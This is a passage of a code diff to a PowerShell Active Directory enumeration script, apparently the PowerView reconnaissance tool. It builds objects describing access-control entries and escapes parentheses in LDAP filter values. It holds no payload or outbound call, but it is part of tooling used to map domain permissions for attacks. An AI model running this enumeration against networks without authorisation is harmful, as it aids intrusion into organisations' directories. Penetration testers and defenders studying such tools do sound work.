$IdentityReferenceDomain - $_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN - $_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass - $_ + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL } else { $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments @@ -7397,7 +7436,7 @@ Custom PSObject with ACL entries. $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN # "IdentityReferenceDN: $IdentityReferenceDN" $Object = Get-DomainObject @ObjectSearcherArguments - $ObjectSearcherArguments + if ($Object) { $IdentityReferenceName = $Object.Properties.samaccountname[0] if ($Object.Properties.objectclass -match 'computer') { @@ -7416,11 +7455,25 @@ Custom PSObject with ACL entries. # save so we don't look up more than once $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass - $_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName - $_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain - $_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN - $_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass - $_ + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL } } else { @@ -7641,7 +7694,7 @@ Custom PSObject with translated OU property fields. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^OU=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } @@ -7900,7 +7953,7 @@ Custom PSObject with translated site property fields. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } @@ -8158,7 +8211,7 @@ Custom PSObject with translated subnet property fields. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } @@ -8629,19 +8682,22 @@ Custom PSObject with translated group property fields. $GroupSearcher = Get-DomainSearcher @SearcherArguments } } - elseif ($IdentityInstance -match '^S-1-.*') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" + $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" } - catch { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + elseif ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } } } } @@ -9350,19 +9406,22 @@ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of- $GroupSearcher = Get-DomainSearcher @SearcherArguments } } - elseif ($IdentityInstance -match '^S-1-.*') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" + $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" } - catch { - $IdentityFilter += "(samAccountName=$IdentityInstance)" + elseif ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } } } } @@ -10907,11 +10966,8 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ - if ($IdentityInstance -match 'LDAP://') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match 'LDAP://|^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } elseif ($IdentityInstance -match '{.*}') { |